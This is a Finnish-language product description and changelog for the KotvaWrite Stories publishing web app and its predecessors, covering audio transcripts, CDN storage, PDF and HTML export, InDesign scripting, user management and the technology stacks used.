Muista harkinnasta olevista particularseista voidaan mainita esim. podcastit, joita varten on muutaman kymmentä sellaista hosting-palvelua, jotka tarjoavat myös verkkosivuille sijoitettavissa olevan äänisoittimen. Laittaisiko nämä kaikki nämä käytettäväksi vai vain joitakin sellaisia vai ehkä sittenkin pitäytyisi pelkkien äänitiedostojen käytettävyydessä? Voiko tällaisia päätöksiä tehdä moneen kertaan? Äänitteiden transkriptioiden käytettävyys on myös kokeellinen toiminto, mutta ehkä lähinnä siitä syystä, että ensikerralla se vaatii käyttäjältä hiukan ylimääräistä pohjustavaa vaivaa.

Äänitteiden selailtavuus ja kuullun ymmärtäminen on helpompaa, kun voi samaan aikaan seurata tekstimuodossa, mitä äänitteessa parhaillaan sanotaan, mitä sanottiin aiemmin ja mitä on tulossa hetken kuluttua. Tähän liittyen on olemassa WebVTT-standardi (Web Video Text Tracks Format), joka nimestään huolimatta toimii myös audio-tiedostoilla ja jota voi luonnehtia käytettävän tekstin esittämiseksi synkronisoituna muun median kuten äänen tai videon kanssa.

Äänitteen tekstiksi tekeminen on yhdenlaista siirtokirjoitusta, tarkemmin sanottuna transkriptiota (eng. transcribe). Tähän tarkoitukseen on useita erilaisia nettisovelluksia, mutta joista kaikki eivät tunnista suomenkieltä. Niiden hinnoittelussa on paljon eroavuuksia, jotkin tarjoavat jonkin verran ilmaista transkriptiointiaikaa per esim. kuukausi ja ne tuottavat erittäin todennäköisesti toisistaan eroaa laatua.

Eräs vaihtoehto on Googlen Speech-to-Text API, jota voi käyttää suoraan Google Cloud -konsolista. Käytännössä audiotiedosto syötetietona, muutama laatuun vaikuttava valinta ja lyhyehkö hetki odottelua. Tämän jälkeen download-vaihtoehtona on mm. transkription sisältävän SRT-tiedoston lataaminen, joka on tekstitiedostona lähes samanlainen kuin WebVTT-tiedostot (vtt-päätteisiä), mutta jonkalaiseksi transriptio täytyisi konvertoida. Tähän konvertoimiseen tarvitaan erillinen sovellus, joka voi olla Windows-sovellus tai vaihtoehtoisesti voi käyttää lukuisia netistä löytyviä konversio-palveluita, joita löytyy vaikkapa hakusanoilla "convert srt to vtt".

Julkaisusovellukseen käyttäjän ei tarvitse antaa syötetietoina kuin audiotiedoston verkko-osoite ja VTT-tiedoston verkko-osoite. Niiden perusteella luodaan äänisoitin, jonka alla näkyy interaktiivinen transkriptio, jonka tekstikappaleita klikkaamalla kuuntelukohdan sijainti äänitteessä vaihtuu. Äänitteen kuuntelun edetessä transkriptio-tekstistä osoitetaan se kohta, missä kohdin ollaan menossa.

Erityistä huomioitavaa on, että VTT-tiedoston täytyy sijaita sellaisessa paikassa, joka sallii kyseisenlaisten tiedostojen jakelun joko kaikkialle tai julkaisusovelluksen käyttämälle palvelimelle. Suosituksena on, että sijoittaa sekä äänitiedoston, että VTT-tiedoston jo muutoinkin käytettäväksi vaaditun CDN-palvelun tarjoamaan CDN Storageen, sillä sen asetuksista oleelliset Cross-Origin Resource Sharing (CORS) -säädöt löytyvät helposti.

Transkriptio-ominaisuuden esille saaminen vaatii kytkemään kokeelliset toiminnot päälle käyttäjäasetuksista, mutta luodut audio-tyyppiset particularsit säilyvät eheinä varmuuskopioita myöten senkin jälkeen, kun kokeelliset toiminnot on kytketty pois päältä. Tässä tapauksessa kokeellisten toimintojen päälle/pois laittaminen vain näyttää/piilottaa joitain käyttöliittymäelementtejä.

Kun esim. julkaisusarjaan kertyy useita osia ja muitakin teoksia on paljon, voi olla selkeämpää antaa pinoutuneen esitystavan indikoida, että kyseessä on jotain, missä on useita teoksia nähtäville. Käytännössä tämä tehdään siten, että teoksien asetuksissa lisätään ryhmänimen perään (ilman välilyöntiä) merkki "#" ja sen perään jokin numero. Tämän jälkeen lisätään käyttäjäasetuksien Profile-välilehdellä "Stackable groups"-tietokenttään teosnippua määrittävä tieto syntaksin "ryhmänimi#nippunumero#nippunimi#nippuselite" mukaisesti. Kaksi viimeistä ovat optionaalisia, mutta ryhmänimi ja nippunumero täytyy olla. Jos teosnippuja on useampia, ne erotellaan puolipisteellä. Muuta ei sitten tarvitakaan.

Teosnippua klikatessa esille tulevat ilman verkko-osoitteen vaihtumista kyseisen teosnipun teokset samantapaisesti aseteltuna kuin muutoinkin.

Jos myöhemmin päättää, ettei haluakaan käyttää teosnippuja, ei ole välttämätöntä käydä muokkaamassa jokaisen teosnipun teoksen asetuksista ryhmänimeä, vaan riittää, kun poista teosnipun määrityksen käyttäjäasetuksista. Ryhmänimiin jäävät esim. "#1"-lisäykset jäävät tuolloin vain käyttämättömäksi.

Kokeelliseksi tämän tekee mm. se, että monetkaan selaimet eivät käytä antialiasointi-efektia kuville, joita on kierretty, mikä varsinkin tekstiä sisältävissä kuvissa näyttää kovin karkealta [korjaus väitteeseen: CSS-tyylittelyllä "transform-style: preserve-3d;" siitä selviää].

Projekti-tiedostot

Projektikohtaisesti on mahdollista tallennella mukaan tiedostoja, joilla ei välttämättä ole mitään erityisempää käyttöä, vaan ne ovat vain olleet jonkinlaisena aineistona tai ehkä ne ovat tiedostoformaatissa, joita julkaisusovellus ei voi sijoittaa esim. kuvakatalogeihin. Kaikenlaiset tiedostot voi drag'n'dropata taulun "Files" päälle, jolloin ne tallentuvat osaksi projektin tiedostoja, jotka päätyvät mukaan myös varmuuskopioihin ja jotka myös luodaan uusiksi, jos projekti importoidaan mukaan project listing -näkymässä. Tiedostojen vierellä on Download-painike, jolla tiedoston saa tarvittaessa ladattua erikseen käyttöön. Jossain vaiheessa käyttöön tulee myös file preview -toiminto, jolla voi esim. vilkaista mitä zip-paketti sisältää. Muutamien tiedostotyyppien osalta on jo katseltavissa sen sisältöä File preview -paneelissa (mm. zip-pakatut tiedostot, kuvatiedostot ja tekstitiedostot).

CDN-tiedostot

Jos tarkoitus tiedoston säilömisen lisäksi on voida jakaa niitä muiden kanssa julkisesti, voi tiedostoja siirtää (jo käytössä olevaan) CDN-palveluun, joka tässä tapauksessa on Bunnyn CDN Storage. Sen verran erillistä vaivaa täytyy nähdä, että luo Bunnyn asetuksissa Storage Zonen ja sille apikeyn (laitetaan julkaisusovelluksen käyttäjäasetuksissa ulkoisten palveluiden asetuksiin). Kyseistä apikeytä on kahdenlaista, joista toinen on read-only ja toinen readwrite. Jälkimmäistä tarvitaan tiedostojen siirtoon erikseen asennettavaa FTP-sovellusta käyttäen.

Jotta CDN:n kautta saavutettavat tiedostot näkyisivät CDN Files -taulussa, on niiden sijaittava hakemistossa, joka alkaa "project_" ja jonka jälkeen on sen projektin id-numero, josta on kyse. Loppuosa hakemiston nimestä voi olla mitä vain. CDN Files -taulukossa listattuna niiden kanssa samalla rivillä on url-linkki, joka on kyseisen tiedoston julkinen osoite. Sitä voi käyttää miten haluaakaan huomioiden, että koska kyse on CDN-palvelun kautta jaettavista tiedostoista, tiedostojen lataaminen netin ja täten Bunnyn kautta on maksullista.

Tätä samaista CDN-tiedostosäilöä voi käyttää myös esim. audio- ja videotiedostojen soittamiseen antamalla niihin viittaava julkinen osoite tekstin editointi -näkymässä (Embeddables-välilehti, Attach embeddable ja avautuvasta modaali-ikkunasta "Video file" tai "Audio file"). Tuolloin ei tarvitse käyttää erityisesti nimettyä hakemistoa, mutta Bunnyn ohjeista on luettava, kuinka julkinen osoite muodostetaan.

Koska projektien importointi suoraan selaimen kautta on rajoitettu 500 MB:aan, tätä suurempikokoiset varmuuskopio-tiedostot on importointia varten siirrettävä ensin CDN Storagen "importableprojects"-hakemiston alahakemistoon, jonka täytyy olla täsmälleen sama kuin julkaisusovelluksessa käytetty käyttäjätunnus. Tämän siirtämisen jälkeen ne näkyvät "Importable projects"-taulukossa yhdessä varmuuskopiokohtaisten painikkeiden "copy from CDN storage" ja "import" kanssa, joista ensin mainitulla varmuuskopio laitetaan siirtymään palvelimelle ja minkä jälkeen varsinainen importointi voidaan aloittaa. Siirto CDN Storagesta ei vie kuin lyhyen hetken, importoinnissa voi sitten kestää vähän kauemmin. Riippuen mitä rajoituksia Bunnyn asetuksissa on tehty, näitäkin tiedostoja voi jakaa julkisesti, mutta "importableprojects"-hakemiston sisältöä ei sentään voi listata julkisesti.

Projektin importointointi SFTP-sovelluksella

Project listing -näkymässä on rajoituksena 500 MB zip-paketoiduille tiedostoille, jotka sisältävät projektin varmuuskopion. Tätä suuremmat täytyy siirtää SFTP-sovelluksella ja jatkaa importointia toisin (toiminto on käytettävissä, mutta sille ei nykyisellään ole visuaalista painiketta).

Lähtökohtana on alunperin ollut, että "tottakai kirjoituksella täytyy olla nimensä", mutta tarvitseeko sitten kuitenkaan? Jotainhan pitää kirjoituksesta mainita, jos sellaista listailee vaikkapa teoksen etusivulla, joten mitä se olisi, jos ei kirjoituksen nimi?

On kuitenkin käyttötapauksia, joissa ei ole käytännöllistä koettaa keksiä jotain nimeä kirjoituksella, joten tehty päätös esittää kirjoituksen nimen tilalla max. ensimmäiset 300 merkkiä kirjoituksen sisällön ensimmäisestä tekstielementistä, oli se sitten väliotsikko, leipätekstiä tai jotain muuta. Tätä sijaistavaa tekstiä käytetään mm. kirjoituksia listaavissa taulukoissa ja julkistetun teoksen etusivulla. Julkistetun teoksen kirjoitus-sivuilla kirjoituksen nimi on yksinkertaisesti poissa.

Kuva 1. Näkymässä "blog appearance editing" joukko kirjoituksia, joista osaan kirjoituksen nimi on otettu automaattisesti kirjoituksen olemassa olevasta nimestä ja muihin tekstin sisällöstä kirjoituksen nimen puuttuessa.
Kuva 2. Näkymässä "lots of text editing" joukko kirjoituksia, joista osaan kirjoituksen nimi on selittävyyden vuoksi jätetty sekä kirjoituksen nimeen, että sisältöön ja muissa kirjoituksen nimi on jätetty pois.

Käyttäjäasetuksissa on valinta Tighter UI, joka pienentää hiukan lähes kaikkia tavallisen sisäänkirjautuneen käyttäjän käyttöliittymän fontteja ja vähentää joidenkin visuaalisten elementtien viemää tilaa. Tällainen on hyödyllistä esim. kannettavia tietokoneita käytettäessä, joissa ei ole kovin monituumainen näyttöruutu. iPad Prolla ja monilla muilla tablet-laitteilla Tighter UI -säätö saattanee tuntua sopivalta kummassa asennossa vain.

Kun kirjoituksia eri projekteissa on paljon, voi niiden sisällön muistaminen käydä haastavaksi esim. tilanteessa, jossa on tarkoitus viitata yhdessä kirjoituksessa moneen muuhun, jossa käsitellään kauttaaltaan jotain tiettyä aihetta, on sanottu jotain erityistä tai joka voisi antaa ideaa uuteen kirjoitukseen.

Kirjoituksien löydettävyyden tällainen helpottaminen ei välttämättä ole aina pelkästään hyväksi, sillä voi myös olla parempi oman ajattelun hallinnan kannalta, että esim. eri aikakausina kirjoitettuja asioita tai eri aikakausiin liittyviä asioita ei tällä tavoin liitä toisiinsa, sillä tällaiset esivalmistelut saattavat jäädä pitkäksi aikaa sellaiseksi, vaikkei niille sitten kenties mitään käyttöä olekaan.

Kuitenkin, johonkin tavoitteeseen nähden hyödyllisten kirjoitusten etsiminen voi olla vaativa tehtävä, ja täten joissakin skenaarioissa on hyödyllistä, että on esivalittuna kirjoituksia, joita saattaa haluta löytää nopeammin myöhemmin.

Näistä kaksi ensin mainittua otetaan käyttöön käyttäjäasetuksista kokeelliset toiminnot käyttöön ottaen (ilmentyy lisäpainikkeina projektinhallinta-näkymässä), kolmannen osalta todennäköisyys tiuhempaan käyttämiseen on sen verran mahdollinen, että se on valmiiksi käytettävissä.

Tulostettava versio (teoksille, jotka käyttävät "plain structure" sisältölistausta)

Netissä luettavaksi valmistellusta julkaisusovelluksen teoksesta voidaan tehdä yhdellä toimintopainikkeen klikkauksella PDF-versio, jossa on erillinen kansisivu, kaikki kirjoitusten kokoelmat omissa osioissaan kaikkine kirjoituksien tulostettavine sisältöineen ja footerissa sivunumerot osiotiedon kera. Specialpaget myös mukana, kuvat yhtä hyvin asemoituvina kuin netissäkin, fonttivalinnat tismalleen oikein ja muutenkin kelpoisan oloinen. Nykyisellään on suositeltavaa käyttää sisältölistauksen tyyppiä "plain structure", sillä muut kuten "presentation page" ja blog-like saattavat tuottaa odottamattomia tuloksia. Koko teoksen sijaan voi rajoittaa toiminnon käyttämisen valittuun kirjoitusten kokoelmaan.

Tämä on toteutettu täysin eri tavalla kuin aiemmassa yritelmässä, missä ensin generoitiin TeX-tiedosto, joka sisälsi sekä tyylittelyä ja sisältöä, ja minkä perusteella PDF-tiedosto sitten luotiin. Tällaisen sijaan käytetty ulkoinen palvelu luo PDF-tiedoston samoista aineksista kuin mistä selaimet luovat nettisivut eli HTML-koodista, CSS-tyylittelystä ja JavaScript-koodista. Tärkeänä lisänä erityisesti CSS3 Paged Median hyödyntäminen:

"CSS module specifies how pages are generated and laid out to hold fragmented content in a paged presentation. It adds functionality for controlling page margins, page size and orientation, and headers and footers, and extends generated content to enable page numbering and running headers / footers." (CSS Paged Media Module Level 3. W3C Working Draft, 18 October 2018.)

PDF-version teko toimii hyvin A4-kokoa käytettäessä, mutta muiden kokojen osalta toteutustapa on vielä harkinnassa.

Monetkaan selaimet eivät ole implementoineet käyttöönsä kyseistä standardia ja juuri sen vuoksi tulostaminen suoraan jostain selaimesta ei tarjoakaan optimaalisia tuloksia sellaisenaan, kun tarkoituksena on saada mukaan sivunumerointia ym. Esim. Firefox-selain ei viimeisimmän kokeilun perusteella CSS Paged Mediaa kummoisemmin hyödynnä, mutta Edge ja Chrome sen sijaan kylläkin. Niitäkin käyttäessä on se ongelma, että ne sisällyttävät headeriin ja footeriin ylimääräistä tietoa päiväyksestä ym. tai sitten headerin ja footerin sisältöjen on oltava tyhjiä (tulostusasetuksissa ei ole kuin joko tai -tyyppinen vaihtoehto). Koko teoksesta tulostettavan version tekemiseen on painikkeensa, kirjoitusten kokoelma -kohtaisuuden riittäessä, ikoninsa.

Itse asiassa, koska ulkoinen palvelu, jota on ollut tarkoitus käyttää PDF-tiedostojen generoimiseen, vaatii maksun tiedostojen generoitavuutta vastaan, prosessia on lyhennetty yhdellä vaiheella. Täten käyttäjälle tarjoillaan ladattava HTML-tiedosto, joka sisältää sisällön lisäksi kaikki mainitut "ainekset". Käyttäjä voi sitten käyttää valitsemaansa selainta sen tulostamiseen, jos selaimessa on riittävästi tukea CSS3 Paged Medialle.

Teos julkaistavaksi toisaalla (palvelinriippumaton HTML-versio)

Projektin sisältämä teos on mahdollista exportata sellaiseen zip-paketoituun muotoon, että kyseisen zip-paketin sisältö voidaan kopioida FTP:llä tai SCP:llä valitsemansa palvelimen hakemistoon, jonka sisältö on julkisesti selaimella katseltavissa ja saada täten teos luettavaksi täsmälleen samassa ulkoasussa kuin se muutoinkin olisi, mutta sisältö olisi täysin "staattista" (ei generoitaisi erikseen joka sivulatauksella). Teoksen kuvat voivat valinnan mukaan olla CDN-palvelun kautta jaeltavia, suoraan tuolta joltain toiselta palvelimelta selaimen hakemia tai sivuihin sisältyvänä enkoodattuna datana.

Jos on tarpeen, project list -näkymässä on toiminto julkaistujen teoksien index-listan generoimiseksi, mutta se menee hieman advanced-toiminnallisuuden puolelle, jos käyttäjä voi joutua editoimaan index-listaa HTML-editorissa. Käytännössä kyseinen index.html -tiedosto sisältää kaikki kuvat enkoodattuna datana ja CSS-tyylitiedostot ja JavaScript-kirjastot mukaan sisällytettynä.

Kirjoituksen kuvineen exportoiminen (suht plaintexteiksi)

Valmistellessaan kirjoitusta kuvineen julkaistavaksi jossain toisaalla kuten keskustelufoorumilla tai Facebook-ryhmässä, voi kirjoituksen kuvineen exportoida zip-pakettiin, joka sisältää kirjoituksen kolmena eri versiona. Yksi näistä on tyylittelemätön HTML-versio, jossa on mukana tagit p, h1 ja h2 (listat muunnetaan tekstikappaleiksi). Kaksi muuta on plaintext-tyyppisiä sillä erolla toisistaan, että toisessa tekstikappaleiden jälkeen ei ole tyhjää riviä, mikä voi sujuvoittaa työnkulkuja esim. joihinkin toisaalle copypastettaessa. Pictureshow-kuvien tiedostonimet nimetään siten, että on helpompi tunnistaa, mitkä sellaisista ovat samaan pictureshow'hun kuuluvia. Toiminnon saa käyttöön textediting-näkymässä valitsemalla editorin valikosta "Export for use elsewhere".

Taitto-ohjelma InDesign on mahdollistanut jo pitkän aikaa kaiken sen toiminnallisuuden kontrolloinnin ExtendScriptillä, joten tovi InDesignin ohjelmistorajapintaan tutustumisen jälkeen kävi selväksi, että sillähän tosiaan voi tehdä sen, mistä jo aiemmin visioi ja mikä ei ollut riittävän näppärää LaTeX-ladontajärjestelmällä. KotvaWrite Stories -projektin varmuuskopio (zip-paketti) sisältää kaiken oleellisen kirjoituksen InDesign-version luomiseen ja käytännössä ei tarvitsekaan kuin käynnistää InDesignissa yksi skripti, joka kysäisee ensin mistä hakemistosta oleelliset tiedostot löytyvät ja sitten se generoi teoksen toisenlaisen olomuodon saatavilla olevan aineiston ja tyylimäärittelyjen perusteella.

Kuva 1. Aukeama InDesign -taitto-ohjelmassa.
Kuva 2. Kokonainen, alunperin verkossa julkaistavaksi tarkoitettu esimerkkijulkaisu automaattisesti InDesignissa luotuna.

Editointioikeuksia on voinut antaa projektikohtaisesti julkaisusovelluksen instanssin käyttäjille jo pitkään, mutta kanssaeditoivien käyttäjien valinnan tekeminen vaatii laittamaan kokeelliset toiminnot hetkeksi käyttöön. Editoivan käyttäjän oikeudet ovat tarkasti esirajattuja ja mahdollistavat lähes kaiken projektin editoimisen poislukien sen poistamisen. Adequatesettejä ei sitenkään pysty yhteiseditoimaan.

Sisäänkirjautumisen jälkeen saatavaa sessiokoodia jakamallakin voi jakaa käyttöoikeuksia, mutta tuolloin tulee antaneeksi oikeuden kaikkeen siihen, mitä kyseisellä käyttäjätunnuksella voi tehdä. Julkaisusovelluksen sisäisissä toiminnoissa on valmisteltuna mahdollisuus viestiä koneellisesti reaaliajassa kahdella eri päätelaitteella julkaisusovellusta käyttävien kesken, mutta sitä ei ole hyödynnetty yhteiskehittämisen tarkoituksessa.

Authors-merkinnät on myös vain aikeilua, jota ei saa käyttöön edes kokeelliset toiminnot päälle laittamalla. Ideana on ollut, että käyttäjä voi lisätä sekä omiinsa, että editointioikeudellisten projektien kirjoituksiin authoreita, joita hyödynnetään niissä yhteyksissä, joissa tekijöiden ym. tiedot tulevat näytettäväksi. Esim. kirjoituksien hienosäätö -näkymässä voi lisätä contributors-placeholderin tekstiin, jonka perusteella kirjoituksen lopulliseen versioon sijoittuu mukaan author-tietoa. Toiminto tähän löytyy Tools-valikosta ("Functional embed: contributors"). Tämän placeholderin voi ALT-klikkauksella muuntaa tavalliseksi tekstiksi.

Näitä "authoreita" voi luoda käyttäjäasetuksien Authors-välilehdellä, sekä niitä voi tarvittaessa siirtää käyttäjältä toiselle. Niillä voi viestiä lukijoille siitä, minkälaisessa roolissa minkäkinlainen author on osallistunut kirjoituksen tai sen muiden osien tekemiseen. Myöhemmin myös kuvien käyttö mahdollista, mutta tässä vaiheessa nämä authorit vain tekstinä. Editointioikeudelliset käyttäjät eivät voi poistaa kirjoituksista kuin omia authoreitaan.

Nämä authorit ovat sillä tapaa löyhässä yhteydessä (eng. loose decoupling) kirjoituksiin, että relaatio niihin katkeaa, jos projekti ensin eksportoidaan ja sitten poistetaan muiden projektien joukosta. Varmuuskopion mukaan päätyy mukaan vain authorin nimen verran vihjettä, mutta toisaalta Usabilities-näkymässä tulee olemaan semiautomaattinen authoreita uudelleen kytkevä toiminto.

Tätä erillisellä käyttäjätunnuksella käytettävää näkymää ei ole tarkoitus käyttää kovinkaan usein. Tavanomaisesti, aivan julkaisusovelluksen käyttämisen aloittamisen ensivaiheilla siellä täytyy käydä määrittämässä CDN-osoite. Ilman sen tekemistä kaikkien julkisten sivujen alareunassa näkyy tiedote, että sen määritys puuttuu.

Uudet käyttäjät luodaan myös täällä, kuten myös heihin kohdistuvien rajoitteiden muokkaaminen. Informaationa managing-näkymässä on mm. tieto siitä, kuinka paljon outbound-siirtokaistaa on käytetty meneillään olevana laskutusjaksona.

Jos toiselle käyttäjälle siirrettävään projektiin on liitettynä adequatesettejä, nämä liittyneisyydet poistetaan. Adequatesetteja voi kuitenkin siirtää käyttäjältä toiselle erikseen.

Käyttäjältä toiselle siirtelyyn pätevät säännönmukaisuudet:

  • projektin voi siirtää käyttäjältä toiselle, jos projektin katalogit ovat vain kyseisen projektin käytössä, muutoin siirtoyritys keskeytetään alkuunsa
  • kuvakatalogin voi siirtää käyttäjältä toiselle, jos katalogi ei ole minkään projektin käytössä
  • solutionin voi siirtää projektista toiseen, jos kyse on saman käyttäjän sellaisista
  • adequate setin voi siirtää käyttäjältä toiselle siten, että adequateset irroitetaan kaikista projekteista

Näihin siirtoihin tarvitaan tyypillisesti olennainen id-koodi kuten projektin sellainen ja käyttäjätunnus, jolle jotain siirretään.

Joskus harvoin saattaa käydä valitsemassa tavallisista käyttäjätunnuksista se, josta tehdään "main user" eli se, jonka julkiset teokset listataan, kun mennään domainin index-sivulle. Muulloin näytettäisiin käyttäjälistaus, josta pääsisi käyttäjäkohtaisiin teoslistoihin.

Jos tarve vaatii (erittäin epätodennäköistä), sieltä voi myös tyhjentää käytössä olevien palvelimien keskusmuistiin muodostavien pitkäkestoisten, mutta ajallaan häipyväisten välimuistien sisällöt. Sellaisiin muodostuu mm. osittainen kopio tietokannan sisällöstä relaatioiden kera, koska siitä on paljon nopeampaa hakea tietoa kuin tietokannasta, koska tietokanta sijaitsee hitaammalla SSD-levyllä.

Julkaisusovelluksen instanssin laajuisesti on valittavissa, että julkisessa teosten/tuotosten listauksessa ne pienentyvät vähäisemmillä selainikkunan leveyksillä siten, että niitä mahtuu enemmän kerralla näkyviin tai että ne asettuvat allekkain, eikä kuvaustekstejä piiloteta.

Tämä käyttäjäkohtainen näkymä on nimeämistään myöten erittäin prototyyppinen, mutta sinänsä toimiva. Se on tarkoitettu

a) Mahdollisten ongelmien huomioimiseen (Problems), joita voi päästä tapahtumaan esim. siirrellessä aineistoja hiukan vajavaisesti eli esim. projektista projektiin, jolloin jotain unohtuukin siirtää. Mahdollisuuksien mukaan tarjolla on "yhden klikkauksen"-korjaustoimintoja.

b) Jonkun hieman lisäselvyyttä tarvitsevan asian varmistamiseen (Clarifications), joita ovat esim. teoskohtaisten välimuistien ajalliset pituudet ja kuvat, jotka ovat joissain kuvakatalogeissa, mutta eivät ole käytössä missään. Myös "kuvakatalogien selailu"-näkymässä on hiukan samantapainen toiminto, jolla saa listailtua vain ne kuvat, jotka eivät vielä ole missään käytössä. Kun kuvia on paljon, tällaiset asiat voivat unohtua.

c) Kenties ajoittain suht säännöllisesti vilkaistavien muistuttimien (Reminders) manuaaliseen käyttämiseen, joita olisivat esim. sellaisten kirjoituksien listaaminen, jotka on merkitty olevan tilassa "preparing". On mahdollista, että tämä toiminnallisuus päätyy jonnekin toisaalle eri tavoin toteutettuna.

Tästä näkymästä on pyritty tekemään sellainen, että siinä olisi mahdollisimman vähän klikkailtavaa ja kaikki oleellinen tieto latautuisi kerralla näkyviin. Tämä tarkoittanee myös sitä, että jotain otetaan käyttöön toisaalla. Esim. kirjoitusten listaaminen, joiden readyness-status on "preparing", on ollut kätevää tehdä optionaalisesti projektien listaus -näkymässä.

KotvaWrite Stories ja KotvaWrite Explanations (2017)

Olennaisin tavoite KotvaWritessa on ollut se, että lukuisia kirjallisten teosten asettelukokeiluja ja säätöjä pystyisi tekemään useita siinä määrin lyhyessä ajassa, että odottavan aika ei tuntuisi pitkältä ja että mielekkäisiin vaihtoehtoisiin päädyttäisiin vaivattoman tuntuisesti. Käytetty ladontajärjestelmä (XeTeX) ei kuitenkaan pysy mukana niin nopeassa tahdissa, mikä ohjasi merkittävästi tuotekehitystä sillä tapaa, että päädyttiin jakautumaan kahteen eri tuotelinjaan, joista toinen (KotvaWrite Stories) tuottaa HTML-pohjaisia teoksia monipuolisemmin tyylikeinoin ja toinen (KotvaWrite Explanations) tuottaa sekä PDF-, että HTML-pohjaisia teoksia, mutta aiempaa hieman rajatummin asettelu- ja säätökeinoin.

JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench

Prosessi yhden kirjoituksen esikatselusivujen generoimiseksi

Java-pohjainen sovellus generoi .tex-tiedoston, josta se tuottaa xelatex.exeä tai pdflatex.exeä käyttäen .pdf-tiedoston, jonka sisältöön ja rakenteeseen vaikuttavat web-käyttöliittymässä tehdyt säädöt, annettu teksti ja melko harkitsemattomiin kohtiin sijoitetut kuvat. XeTex-ladontajärjestelmä laskee mahtuvuudet, sekä latoo tekstit ja kuvat. Toisinaan sen täytyy antaa tehdä laskelmiaan kahden kierroksen verran. Apache PDFBoxia käytetään luomaan yksittäisistä sivuista esikatselukuvat web-käyttöliittymässä tarkastelua varten.

KotvaWrite 2

Edelleen kyse verkkosovelluksesta, joka jämäköittää kirjamaisien, verkossa luettavien teoksien tuotantoprosessia. Palvelu koostuu neljästä osiosta, joissa voi ajatella tehtävän seuraavia asioita:

  • Teksteissä käytettävän aineiston sisääntuontia eri lähteistä.
  • Aineiston ja kirjoituksien järjestelyä.
  • Tekstin luominen ja editointi, kokonaisen kirjamaisesti jäsennellyn teoksen generointi asetteluun, tyylittelyyn ja esillepanoon vaikuttavien parametrien perusteella.

Edelliseen versioon nähden merkittävin uudistus on tapahtunut käyttöliittymätasolla, joka on laitettu kokonaan uusiksi. Sovelluksen suunnittelussa on hyödynnetty mukautuvaa verkkosuunnittelua (eng. responsive design) sen parantaessa olennaisesti käyttökokemusta. Sittemmin mukaan on tullut jonkin verran lisäominaisuuksia (mm. automatisoidusti generoituva PDF-tiedosto ja HTML-version tulostusversiota on hienosäädetty).

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

KotvaWrite v1.0

KotvaWrite on hyödyllinen verkkopalvelu sellaisen tekstipohjaisen aineksen luomiseen ja editoimiseen, joka jolla on kirjamainen rakenne (käytännössä useita kirjoituksia sijoitettuna kokoelmiin, jotka voidaan yhdistää isommaksi kokonaisuudeksi) ja jonka voi exportata PDF-tiedostoksi tai antaa sen olla muiden luettavissa HTML-muotoisena. Tekstin joukkoon on mahdollista sijoittaa kuvia, kuvituksia, piirroksia ja tiettyjä muunlaisia "liitteitä", joita on usein nähtävissä blogiviesteissä.

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

Ancoaarmade (KotvaWriten edeltäjä)

Tarkoituksena ollut kehittää verkkopalvelu, joka palvelisi sen käyttäjiä mm. seuraavissa tarpeissa: havaintojen ylöskirjaaminen, itseoppiminen, tiedon järjestely ja julkaiseminen, tiedon tuottaminen, ajatusten jäsentely ja asioiden muistaminen. Lopputuotteena ovat haluttaessa julkiseksi(kin) asetettavat kirjoitukset, jotka voivat koostua erilaisista kerätyistä tai generoiduista aineksista kuten videoleikkeistä, kaavioista, kuvista, piirroksista yms. havainnollistavasta materiaalista. Työn alla olevaa teosta voi tarkastella useista eri "perspektiiveistä". Teoksiin sisällytettäväksi voi tuoda aineistoa ulkoisista tietolähteistä tai omilta päätelaitteilta.

Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions